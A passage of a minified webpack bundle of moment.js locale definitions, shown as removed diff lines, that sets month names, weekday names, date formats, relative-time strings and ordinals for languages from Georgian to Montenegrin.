/(წინა|შემდეგ)/ - }, - weekdaysShort: "კვი_ორშ_სამ_ოთხ_ხუთ_პარ_შაბ".split("_"), - weekdaysMin: "კვ_ორ_სა_ოთ_ხუ_პა_შა".split("_"), - longDateFormat: { - LT: "h:mm A", - LTS: "h:mm:ss A", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY h:mm A", - LLLL: "dddd, D MMMM YYYY h:mm A" - }, - calendar: { - sameDay: "[დღეს] LT[-ზე]", - nextDay: "[ხვალ] LT[-ზე]", - lastDay: "[გუშინ] LT[-ზე]", - nextWeek: "[შემდეგ] dddd LT[-ზე]", - lastWeek: "[წინა] dddd LT-ზე", - sameElse: "L" - }, - relativeTime: { - future: function (e) { - return /(წამი|წუთი|საათი|წელი)/.test(e) ? e.replace(/ი$/, "ში") : e + "ში" - }, - past: function (e) { - if (/(წამი|წუთი|საათი|დღე|თვე)/.test(e)) { - return e.replace(/(ი|ე)$/, "ის წინ") - } - if (/წელი/.test(e)) { - return e.replace(/წელი$/, "წლის წინ") - } - }, - s: "რამდენიმე წამი", - ss: "%d წამი", - m: "წუთი", - mm: "%d წუთი", - h: "საათი", - hh: "%d საათი", - d: "დღე", - dd: "%d დღე", - M: "თვე", - MM: "%d თვე", - y: "წელი", - yy: "%d წელი" - }, - dayOfMonthOrdinalParse: /0|1-ლი|მე-\d{1,2}|\d{1,2}-ე/, - ordinal: function (e) { - if (e === 0) { - return e - } - if (e === 1) { - return e + "-ლი" - } - if (e < 20 || e <= 100 && e % 20 === 0 || e % 100 === 0) { - return "მე-" + e - } - return e + "-ე" - }, - week: { - dow: 1, - doy: 7 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - 0: "-ші", - 1: "-ші", - 2: "-ші", - 3: "-ші", - 4: "-ші", - 5: "-ші", - 6: "-шы", - 7: "-ші", - 8: "-ші", - 9: "-шы", - 10: "-шы", - 20: "-шы", - 30: "-шы", - 40: "-шы", - 50: "-ші", - 60: "-шы", - 70: "-ші", - 80: "-ші", - 90: "-шы", - 100: "-ші" - }; - var i = e.defineLocale("kk", { - months: "қаңтар_ақпан_наурыз_сәуір_мамыр_маусым_шілде_тамыз_қыркүйек_қазан_қараша_желтоқсан".split("_"), - monthsShort: "қаң_ақп_нау_сәу_мам_мау_шіл_там_қыр_қаз_қар_жел".split("_"), - weekdays: "жексенбі_дүйсенбі_сейсенбі_сәрсенбі_бейсенбі_жұма_сенбі".split("_"), - weekdaysShort: "жек_дүй_сей_сәр_бей_жұм_сен".split("_"), - weekdaysMin: "жк_дй_сй_ср_бй_жм_сн".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD.MM.YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[Бүгін сағат] LT", - nextDay: "[Ертең сағат] LT", - nextWeek: "dddd [сағат] LT", - lastDay: "[Кеше сағат] LT", - lastWeek: "[Өткен аптаның] dddd [сағат] LT", - sameElse: "L" - }, - relativeTime: { - future: "%s ішінде", - past: "%s бұрын", - s: "бірнеше секунд", - ss: "%d секунд", - m: "бір минут", - mm: "%d минут", - h: "бір сағат", - hh: "%d сағат", - d: "бір күн", - dd: "%d күн", - M: "бір ай", - MM: "%d ай", - y: "бір жыл", - yy: "%d жыл" - }, - dayOfMonthOrdinalParse: /\d{1,2}-(ші|шы)/, - ordinal: function (e) { - var i = e % 10, - n = e >= 100 ? 100 : null; - return e + (t[e] || t[i] || t[n]) - }, - week: { - dow: 1, - doy: 7 - } - }); - return i - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - 1: "១", - 2: "២", - 3: "៣", - 4: "៤", - 5: "៥", - 6: "៦", - 7: "៧", - 8: "៨", - 9: "៩", - 0: "០" - }, - i = { - "១": "1", - "២": "2", - "៣": "3", - "៤": "4", - "៥": "5", - "៦": "6", - "៧": "7", - "៨": "8", - "៩": "9", - "០": "0" - }; - var n = e.defineLocale("km", { - months: "មករា_កុម្ភៈ_មីនា_មេសា_ឧសភា_មិថុនា_កក្កដា_សីហា_កញ្ញា_តុលា_វិច្ឆិកា_ធ្នូ".split("_"), - monthsShort: "មករា_កុម្ភៈ_មីនា_មេសា_ឧសភា_មិថុនា_កក្កដា_សីហា_កញ្ញា_តុលា_វិច្ឆិកា_ធ្នូ".split("_"), - weekdays: "អាទិត្យ_ច័ន្ទ_អង្គារ_ពុធ_ព្រហស្បតិ៍_សុក្រ_សៅរ៍".split("_"), - weekdaysShort: "អា_ច_អ_ព_ព្រ_សុ_ស".split("_"), - weekdaysMin: "អា_ច_អ_ព_ព្រ_សុ_ស".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - meridiemParse: /ព្រឹក|ល្ងាច/, - isPM: function (e) { - return e === "ល្ងាច" - }, - meridiem: function (e, t, i) { - if (e < 12) { - return "ព្រឹក" - } else { - return "ល្ងាច" - } - }, - calendar: { - sameDay: "[ថ្ងៃនេះ ម៉ោង] LT", - nextDay: "[ស្អែក ម៉ោង] LT", - nextWeek: "dddd [ម៉ោង] LT", - lastDay: "[ម្សិលមិញ ម៉ោង] LT", - lastWeek: "dddd [សប្តាហ៍មុន] [ម៉ោង] LT", - sameElse: "L" - }, - relativeTime: { - future: "%sទៀត", - past: "%sមុន", - s: "ប៉ុន្មានវិនាទី", - ss: "%d វិនាទី", - m: "មួយនាទី", - mm: "%d នាទី", - h: "មួយម៉ោង", - hh: "%d ម៉ោង", - d: "មួយថ្ងៃ", - dd: "%d ថ្ងៃ", - M: "មួយខែ", - MM: "%d ខែ", - y: "មួយឆ្នាំ", - yy: "%d ឆ្នាំ" - }, - dayOfMonthOrdinalParse: /ទី\d{1,2}/, - ordinal: "ទី%d", - preparse: function (e) { - return e.replace(/[១២៣៤៥៦៧៨៩០]/g, function (e) { - return i[e] - }) - }, - postformat: function (e) { - return e.replace(/\d/g, function (e) { - return t[e] - }) - }, - week: { - dow: 1, - doy: 4 - } - }); - return n - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - 1: "೧", - 2: "೨", - 3: "೩", - 4: "೪", - 5: "೫", - 6: "೬", - 7: "೭", - 8: "೮", - 9: "೯", - 0: "೦" - }, - i = { - "೧": "1", - "೨": "2", - "೩": "3", - "೪": "4", - "೫": "5", - "೬": "6", - "೭": "7", - "೮": "8", - "೯": "9", - "೦": "0" - }; - var n = e.defineLocale("kn", { - months: "ಜನವರಿ_ಫೆಬ್ರವರಿ_ಮಾರ್ಚ್_ಏಪ್ರಿಲ್_ಮೇ_ಜೂನ್_ಜುಲೈ_ಆಗಸ್ಟ್_ಸೆಪ್ಟೆಂಬರ್_ಅಕ್ಟೋಬರ್_ನವೆಂಬರ್_ಡಿಸೆಂಬರ್".split("_"), - monthsShort: "ಜನ_ಫೆಬ್ರ_ಮಾರ್ಚ್_ಏಪ್ರಿಲ್_ಮೇ_ಜೂನ್_ಜುಲೈ_ಆಗಸ್ಟ್_ಸೆಪ್ಟೆಂ_ಅಕ್ಟೋ_ನವೆಂ_ಡಿಸೆಂ".split("_"), - monthsParseExact: true, - weekdays: "ಭಾನುವಾರ_ಸೋಮವಾರ_ಮಂಗಳವಾರ_ಬುಧವಾರ_ಗುರುವಾರ_ಶುಕ್ರವಾರ_ಶನಿವಾರ".split("_"), - weekdaysShort: "ಭಾನು_ಸೋಮ_ಮಂಗಳ_ಬುಧ_ಗುರು_ಶುಕ್ರ_ಶನಿ".split("_"), - weekdaysMin: "ಭಾ_ಸೋ_ಮಂ_ಬು_ಗು_ಶು_ಶ".split("_"), - longDateFormat: { - LT: "A h:mm", - LTS: "A h:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY, A h:mm", - LLLL: "dddd, D MMMM YYYY, A h:mm" - }, - calendar: { - sameDay: "[ಇಂದು] LT", - nextDay: "[ನಾಳೆ] LT", - nextWeek: "dddd, LT", - lastDay: "[ನಿನ್ನೆ] LT", - lastWeek: "[ಕೊನೆಯ] dddd, LT", - sameElse: "L" - }, - relativeTime: { - future: "%s ನಂತರ", - past: "%s ಹಿಂದೆ", - s: "ಕೆಲವು ಕ್ಷಣಗಳು", - ss: "%d ಸೆಕೆಂಡುಗಳು", - m: "ಒಂದು ನಿಮಿಷ", - mm: "%d ನಿಮಿಷ", - h: "ಒಂದು ಗಂಟೆ", - hh: "%d ಗಂಟೆ", - d: "ಒಂದು ದಿನ", - dd: "%d ದಿನ", - M: "ಒಂದು ತಿಂಗಳು", - MM: "%d ತಿಂಗಳು", - y: "ಒಂದು ವರ್ಷ", - yy: "%d ವರ್ಷ" - }, - preparse: function (e) { - return e.replace(/[೧೨೩೪೫೬೭೮೯೦]/g, function (e) { - return i[e] - }) - }, - postformat: function (e) { - return e.replace(/\d/g, function (e) { - return t[e] - }) - }, - meridiemParse: /ರಾತ್ರಿ|ಬೆಳಿಗ್ಗೆ|ಮಧ್ಯಾಹ್ನ|ಸಂಜೆ/, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "ರಾತ್ರಿ") { - return e < 4 ? e : e + 12 - } else if (t === "ಬೆಳಿಗ್ಗೆ") { - return e - } else if (t === "ಮಧ್ಯಾಹ್ನ") { - return e >= 10 ? e : e + 12 - } else if (t === "ಸಂಜೆ") { - return e + 12 - } - }, - meridiem: function (e, t, i) { - if (e < 4) { - return "ರಾತ್ರಿ" - } else if (e < 10) { - return "ಬೆಳಿಗ್ಗೆ" - } else if (e < 17) { - return "ಮಧ್ಯಾಹ್ನ" - } else if (e < 20) { - return "ಸಂಜೆ" - } else { - return "ರಾತ್ರಿ" - } - }, - dayOfMonthOrdinalParse: /\d{1,2}(ನೇ)/, - ordinal: function (e) { - return e + "ನೇ" - }, - week: { - dow: 0, - doy: 6 - } - }); - return n - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("ko", { - months: "1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월".split("_"), - monthsShort: "1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월".split("_"), - weekdays: "일요일_월요일_화요일_수요일_목요일_금요일_토요일".split("_"), - weekdaysShort: "일_월_화_수_목_금_토".split("_"), - weekdaysMin: "일_월_화_수_목_금_토".split("_"), - longDateFormat: { - LT: "A h:mm", - LTS: "A h:mm:ss", - L: "YYYY.MM.DD.", - LL: "YYYY년 MMMM D일", - LLL: "YYYY년 MMMM D일 A h:mm", - LLLL: "YYYY년 MMMM D일 dddd A h:mm", - l: "YYYY.MM.DD.", - ll: "YYYY년 MMMM D일", - lll: "YYYY년 MMMM D일 A h:mm", - llll: "YYYY년 MMMM D일 dddd A h:mm" - }, - calendar: { - sameDay: "오늘 LT", - nextDay: "내일 LT", - nextWeek: "dddd LT", - lastDay: "어제 LT", - lastWeek: "지난주 dddd LT", - sameElse: "L" - }, - relativeTime: { - future: "%s 후", - past: "%s 전", - s: "몇 초", - ss: "%d초", - m: "1분", - mm: "%d분", - h: "한 시간", - hh: "%d시간", - d: "하루", - dd: "%d일", - M: "한 달", - MM: "%d달", - y: "일 년", - yy: "%d년" - }, - dayOfMonthOrdinalParse: /\d{1,2}(일|월|주)/, - ordinal: function (e, t) { - switch (t) { - case "d": - case "D": - case "DDD": - return e + "일"; - case "M": - return e + "월"; - case "w": - case "W": - return e + "주"; - default: - return e - } - }, - meridiemParse: /오전|오후/, - isPM: function (e) { - return e === "오후" - }, - meridiem: function (e, t, i) { - return e < 12 ? "오전" : "오후" - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - 1: "١", - 2: "٢", - 3: "٣", - 4: "٤", - 5: "٥", - 6: "٦", - 7: "٧", - 8: "٨", - 9: "٩", - 0: "٠" - }, - i = { - "١": "1", - "٢": "2", - "٣": "3", - "٤": "4", - "٥": "5", - "٦": "6", - "٧": "7", - "٨": "8", - "٩": "9", - "٠": "0" - }, - n = ["کانونی دووەم", "شوبات", "ئازار", "نیسان", "ئایار", "حوزەیران", "تەمموز", "ئاب", "ئەیلوول", "تشرینی یەكەم", "تشرینی دووەم", "كانونی یەکەم"]; - var r = e.defineLocale("ku", { - months: n, - monthsShort: n, - weekdays: "یه‌كشه‌ممه‌_دووشه‌ممه‌_سێشه‌ممه‌_چوارشه‌ممه‌_پێنجشه‌ممه‌_هه‌ینی_شه‌ممه‌".split("_"), - weekdaysShort: "یه‌كشه‌م_دووشه‌م_سێشه‌م_چوارشه‌م_پێنجشه‌م_هه‌ینی_شه‌ممه‌".split("_"), - weekdaysMin: "ی_د_س_چ_پ_ه_ش".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - meridiemParse: /ئێواره‌|به‌یانی/, - isPM: function (e) { - return /ئێواره‌/.test(e) - }, - meridiem: function (e, t, i) { - if (e < 12) { - return "به‌یانی" - } else { - return "ئێواره‌" - } - }, - calendar: { - sameDay: "[ئه‌مرۆ كاتژمێر] LT", - nextDay: "[به‌یانی كاتژمێر] LT", - nextWeek: "dddd [كاتژمێر] LT", - lastDay: "[دوێنێ كاتژمێر] LT", - lastWeek: "dddd [كاتژمێر] LT", - sameElse: "L" - }, - relativeTime: { - future: "له‌ %s", - past: "%s", - s: "چه‌ند چركه‌یه‌ك", - ss: "چركه‌ %d", - m: "یه‌ك خوله‌ك", - mm: "%d خوله‌ك", - h: "یه‌ك كاتژمێر", - hh: "%d كاتژمێر", - d: "یه‌ك ڕۆژ", - dd: "%d ڕۆژ", - M: "یه‌ك مانگ", - MM: "%d مانگ", - y: "یه‌ك ساڵ", - yy: "%d ساڵ" - }, - preparse: function (e) { - return e.replace(/[١٢٣٤٥٦٧٨٩٠]/g, function (e) { - return i[e] - }).replace(/،/g, ",") - }, - postformat: function (e) { - return e.replace(/\d/g, function (e) { - return t[e] - }).replace(/,/g, "،") - }, - week: { - dow: 6, - doy: 12 - } - }); - return r - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - 0: "-чү", - 1: "-чи", - 2: "-чи", - 3: "-чү", - 4: "-чү", - 5: "-чи", - 6: "-чы", - 7: "-чи", - 8: "-чи", - 9: "-чу", - 10: "-чу", - 20: "-чы", - 30: "-чу", - 40: "-чы", - 50: "-чү", - 60: "-чы", - 70: "-чи", - 80: "-чи", - 90: "-чу", - 100: "-чү" - }; - var i = e.defineLocale("ky", { - months: "январь_февраль_март_апрель_май_июнь_июль_август_сентябрь_октябрь_ноябрь_декабрь".split("_"), - monthsShort: "янв_фев_март_апр_май_июнь_июль_авг_сен_окт_ноя_дек".split("_"), - weekdays: "Жекшемби_Дүйшөмбү_Шейшемби_Шаршемби_Бейшемби_Жума_Ишемби".split("_"), - weekdaysShort: "Жек_Дүй_Шей_Шар_Бей_Жум_Ише".split("_"), - weekdaysMin: "Жк_Дй_Шй_Шр_Бй_Жм_Иш".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD.MM.YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[Бүгүн саат] LT", - nextDay: "[Эртең саат] LT", - nextWeek: "dddd [саат] LT", - lastDay: "[Кечээ саат] LT", - lastWeek: "[Өткөн аптанын] dddd [күнү] [саат] LT", - sameElse: "L" - }, - relativeTime: { - future: "%s ичинде", - past: "%s мурун", - s: "бирнече секунд", - ss: "%d секунд", - m: "бир мүнөт", - mm: "%d мүнөт", - h: "бир саат", - hh: "%d саат", - d: "бир күн", - dd: "%d күн", - M: "бир ай", - MM: "%d ай", - y: "бир жыл", - yy: "%d жыл" - }, - dayOfMonthOrdinalParse: /\d{1,2}-(чи|чы|чү|чу)/, - ordinal: function (e) { - var i = e % 10, - n = e >= 100 ? 100 : null; - return e + (t[e] || t[i] || t[n]) - }, - week: { - dow: 1, - doy: 7 - } - }); - return i - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - - function t(e, t, i, n) { - var r = { - m: ["eng Minutt", "enger Minutt"], - h: ["eng Stonn", "enger Stonn"], - d: ["een Dag", "engem Dag"], - M: ["ee Mount", "engem Mount"], - y: ["ee Joer", "engem Joer"] - }; - return t ? r[i][0] : r[i][1] - } - - function i(e) { - var t = e.substr(0, e.indexOf(" ")); - if (r(t)) { - return "a " + e - } - return "an " + e - } - - function n(e) { - var t = e.substr(0, e.indexOf(" ")); - if (r(t)) { - return "viru " + e - } - return "virun " + e - } - - function r(e) { - e = parseInt(e, 10); - if (isNaN(e)) { - return false - } - if (e < 0) { - return true - } else if (e < 10) { - if (4 <= e && e <= 7) { - return true - } - return false - } else if (e < 100) { - var t = e % 10, - i = e / 10; - if (t === 0) { - return r(i) - } - return r(t) - } else if (e < 1e4) { - while (e >= 10) { - e = e / 10 - } - return r(e) - } else { - e = e / 1e3; - return r(e) - } - } - var a = e.defineLocale("lb", { - months: "Januar_Februar_Mäerz_Abrëll_Mee_Juni_Juli_August_September_Oktober_November_Dezember".split("_"), - monthsShort: "Jan._Febr._Mrz._Abr._Mee_Jun._Jul._Aug._Sept._Okt._Nov._Dez.".split("_"), - monthsParseExact: true, - weekdays: "Sonndeg_Méindeg_Dënschdeg_Mëttwoch_Donneschdeg_Freideg_Samschdeg".split("_"), - weekdaysShort: "So._Mé._Dë._Më._Do._Fr._Sa.".split("_"), - weekdaysMin: "So_Mé_Dë_Më_Do_Fr_Sa".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "H:mm [Auer]", - LTS: "H:mm:ss [Auer]", - L: "DD.MM.YYYY", - LL: "D. MMMM YYYY", - LLL: "D. MMMM YYYY H:mm [Auer]", - LLLL: "dddd, D. MMMM YYYY H:mm [Auer]" - }, - calendar: { - sameDay: "[Haut um] LT", - sameElse: "L", - nextDay: "[Muer um] LT", - nextWeek: "dddd [um] LT", - lastDay: "[Gëschter um] LT", - lastWeek: function () { - switch (this.day()) { - case 2: - case 4: - return "[Leschten] dddd [um] LT"; - default: - return "[Leschte] dddd [um] LT" - } - } - }, - relativeTime: { - future: i, - past: n, - s: "e puer Sekonnen", - ss: "%d Sekonnen", - m: t, - mm: "%d Minutten", - h: t, - hh: "%d Stonnen", - d: t, - dd: "%d Deeg", - M: t, - MM: "%d Méint", - y: t, - yy: "%d Joer" - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 4 - } - }); - return a - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("lo", { - months: "ມັງກອນ_ກຸມພາ_ມີນາ_ເມສາ_ພຶດສະພາ_ມິຖຸນາ_ກໍລະກົດ_ສິງຫາ_ກັນຍາ_ຕຸລາ_ພະຈິກ_ທັນວາ".split("_"), - monthsShort: "ມັງກອນ_ກຸມພາ_ມີນາ_ເມສາ_ພຶດສະພາ_ມິຖຸນາ_ກໍລະກົດ_ສິງຫາ_ກັນຍາ_ຕຸລາ_ພະຈິກ_ທັນວາ".split("_"), - weekdays: "ອາທິດ_ຈັນ_ອັງຄານ_ພຸດ_ພະຫັດ_ສຸກ_ເສົາ".split("_"), - weekdaysShort: "ທິດ_ຈັນ_ອັງຄານ_ພຸດ_ພະຫັດ_ສຸກ_ເສົາ".split("_"), - weekdaysMin: "ທ_ຈ_ອຄ_ພ_ພຫ_ສກ_ສ".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "ວັນdddd D MMMM YYYY HH:mm" - }, - meridiemParse: /ຕອນເຊົ້າ|ຕອນແລງ/, - isPM: function (e) { - return e === "ຕອນແລງ" - }, - meridiem: function (e, t, i) { - if (e < 12) { - return "ຕອນເຊົ້າ" - } else { - return "ຕອນແລງ" - } - }, - calendar: { - sameDay: "[ມື້ນີ້ເວລາ] LT", - nextDay: "[ມື້ອື່ນເວລາ] LT", - nextWeek: "[ວັນ]dddd[ໜ້າເວລາ] LT", - lastDay: "[ມື້ວານນີ້ເວລາ] LT", - lastWeek: "[ວັນ]dddd[ແລ້ວນີ້ເວລາ] LT", - sameElse: "L" - }, - relativeTime: { - future: "ອີກ %s", - past: "%sຜ່ານມາ", - s: "ບໍ່ເທົ່າໃດວິນາທີ", - ss: "%d ວິນາທີ", - m: "1 ນາທີ", - mm: "%d ນາທີ", - h: "1 ຊົ່ວໂມງ", - hh: "%d ຊົ່ວໂມງ", - d: "1 ມື້", - dd: "%d ມື້", - M: "1 ເດືອນ", - MM: "%d ເດືອນ", - y: "1 ປີ", - yy: "%d ປີ" - }, - dayOfMonthOrdinalParse: /(ທີ່)\d{1,2}/, - ordinal: function (e) { - return "ທີ່" + e - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - ss: "sekundė_sekundžių_sekundes", - m: "minutė_minutės_minutę", - mm: "minutės_minučių_minutes", - h: "valanda_valandos_valandą", - hh: "valandos_valandų_valandas", - d: "diena_dienos_dieną", - dd: "dienos_dienų_dienas", - M: "mėnuo_mėnesio_mėnesį", - MM: "mėnesiai_mėnesių_mėnesius", - y: "metai_metų_metus", - yy: "metai_metų_metus" - }; - - function i(e, t, i, n) { - if (t) { - return "kelios sekundės" - } else { - return n ? "kelių sekundžių" : "kelias sekundes" - } - } - - function n(e, t, i, n) { - return t ? a(i)[0] : n ? a(i)[1] : a(i)[2] - } - - function r(e) { - return e % 10 === 0 || e > 10 && e < 20 - } - - function a(e) { - return t[e].split("_") - } - - function s(e, t, i, s) { - var o = e + " "; - if (e === 1) { - return o + n(e, t, i[0], s) - } else if (t) { - return o + (r(e) ? a(i)[1] : a(i)[0]) - } else { - if (s) { - return o + a(i)[1] - } else { - return o + (r(e) ? a(i)[1] : a(i)[2]) - } - } - } - var o = e.defineLocale("lt", { - months: { - format: "sausio_vasario_kovo_balandžio_gegužės_birželio_liepos_rugpjūčio_rugsėjo_spalio_lapkričio_gruodžio".split("_"), - standalone: "sausis_vasaris_kovas_balandis_gegužė_birželis_liepa_rugpjūtis_rugsėjis_spalis_lapkritis_gruodis".split("_"), - isFormat: /D[oD]?(\[[^\[\]]*\]|\s)+MMMM?|MMMM?(\[[^\[\]]*\]|\s)+D[oD]?/ - }, - monthsShort: "sau_vas_kov_bal_geg_bir_lie_rgp_rgs_spa_lap_grd".split("_"), - weekdays: { - format: "sekmadienį_pirmadienį_antradienį_trečiadienį_ketvirtadienį_penktadienį_šeštadienį".split("_"), - standalone: "sekmadienis_pirmadienis_antradienis_trečiadienis_ketvirtadienis_penktadienis_šeštadienis".split("_"), - isFormat: /dddd HH:mm/ - }, - weekdaysShort: "Sek_Pir_Ant_Tre_Ket_Pen_Šeš".split("_"), - weekdaysMin: "S_P_A_T_K_Pn_Š".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "YYYY-MM-DD", - LL: "YYYY [m.] MMMM D [d.]", - LLL: "YYYY [m.] MMMM D [d.], HH:mm [val.]", - LLLL: "YYYY [m.] MMMM D [d.], dddd, HH:mm [val.]", - l: "YYYY-MM-DD", - ll: "YYYY [m.] MMMM D [d.]", - lll: "YYYY [m.] MMMM D [d.], HH:mm [val.]", - llll: "YYYY [m.] MMMM D [d.], ddd, HH:mm [val.]" - }, - calendar: { - sameDay: "[Šiandien] LT", - nextDay: "[Rytoj] LT", - nextWeek: "dddd LT", - lastDay: "[Vakar] LT", - lastWeek: "[Praėjusį] dddd LT", - sameElse: "L" - }, - relativeTime: { - future: "po %s", - past: "prieš %s", - s: i, - ss: s, - m: n, - mm: s, - h: n, - hh: s, - d: n, - dd: s, - M: n, - MM: s, - y: n, - yy: s - }, - dayOfMonthOrdinalParse: /\d{1,2}-oji/, - ordinal: function (e) { - return e + "-oji" - }, - week: { - dow: 1, - doy: 4 - } - }); - return o - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - ss: "sekundes_sekundēm_sekunde_sekundes".split("_"), - m: "minūtes_minūtēm_minūte_minūtes".split("_"), - mm: "minūtes_minūtēm_minūte_minūtes".split("_"), - h: "stundas_stundām_stunda_stundas".split("_"), - hh: "stundas_stundām_stunda_stundas".split("_"), - d: "dienas_dienām_diena_dienas".split("_"), - dd: "dienas_dienām_diena_dienas".split("_"), - M: "mēneša_mēnešiem_mēnesis_mēneši".split("_"), - MM: "mēneša_mēnešiem_mēnesis_mēneši".split("_"), - y: "gada_gadiem_gads_gadi".split("_"), - yy: "gada_gadiem_gads_gadi".split("_") - }; - - function i(e, t, i) { - if (i) { - return t % 10 === 1 && t % 100 !== 11 ? e[2] : e[3] - } else { - return t % 10 === 1 && t % 100 !== 11 ? e[0] : e[1] - } - } - - function n(e, n, r) { - return e + " " + i(t[r], e, n) - } - - function r(e, n, r) { - return i(t[r], e, n) - } - - function a(e, t) { - return t ? "dažas sekundes" : "dažām sekundēm" - } - var s = e.defineLocale("lv", { - months: "janvāris_februāris_marts_aprīlis_maijs_jūnijs_jūlijs_augusts_septembris_oktobris_novembris_decembris".split("_"), - monthsShort: "jan_feb_mar_apr_mai_jūn_jūl_aug_sep_okt_nov_dec".split("_"), - weekdays: "svētdiena_pirmdiena_otrdiena_trešdiena_ceturtdiena_piektdiena_sestdiena".split("_"), - weekdaysShort: "Sv_P_O_T_C_Pk_S".split("_"), - weekdaysMin: "Sv_P_O_T_C_Pk_S".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD.MM.YYYY.", - LL: "YYYY. [gada] D. MMMM", - LLL: "YYYY. [gada] D. MMMM, HH:mm", - LLLL: "YYYY. [gada] D. MMMM, dddd, HH:mm" - }, - calendar: { - sameDay: "[Šodien pulksten] LT", - nextDay: "[Rīt pulksten] LT", - nextWeek: "dddd [pulksten] LT", - lastDay: "[Vakar pulksten] LT", - lastWeek: "[Pagājušā] dddd [pulksten] LT", - sameElse: "L" - }, - relativeTime: { - future: "pēc %s", - past: "pirms %s", - s: a, - ss: n, - m: r, - mm: n, - h: r, - hh: n, - d: r, - dd: n, - M: r, - MM: n, - y: r, - yy: n - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 4 - } - }); - return s - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - words: { - ss: ["sekund", "sekunda", "sekundi"], - m: ["jedan minut", "jednog minuta"], - mm: ["minut", "minuta", "minuta"], - h: ["jedan sat", "jednog sata"], - hh: ["sat", "sata", "sati"], - dd: ["dan", "dana", "dana"], - MM: ["mjesec", "mjeseca", "mjeseci"], - yy: ["godina", "godine", "godina"] - }, - correctGrammaticalCase: function (e, t) { - return e === 1 ? t[0] : e >= 2 && e <= 4 ? t[1] : t[2] - }, - translate: function (e, i, n) { - var r = t.words[n]; - if (n.length === 1) { - return i ? r[0] : r[1] - } else { - return e + " " + t.correctGrammaticalCase(e, r) - } - } - }; - var i = e.defineLocale("me", { - months: "januar_februar_mart_april_maj_jun_jul_avgust_septembar_oktobar_novembar_decembar".split("_"), - monthsShort: "jan._feb._mar._apr._maj_jun_jul_avg._sep._okt._nov._dec.".split("_"), - monthsParseExact: true, - weekdays: "nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota".split("_"), - weekdaysShort: "ned._pon._uto._sri._čet._pet._sub.".split("_"), - weekdaysMin: "ne_po_ut_sr_če_pe_su".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "H:mm", - LTS: "H:mm:ss", - L: "DD.MM.YYYY", - LL: "D. MMMM YYYY", - LLL: "D. MMMM YYYY H:mm", - LLLL: "dddd, D. MMMM YYYY H:mm" - }, - calendar: { - sameDay: "[danas u] LT", - nextDay: "[sjutra u] LT", - nextWeek: function () { - switch (this.day()) { - case 0: - return "[u] [nedjelju] [u] LT"; - case 3: - return "[u] [srijedu] [u] LT"; - case 6: - return "[u] [subotu] 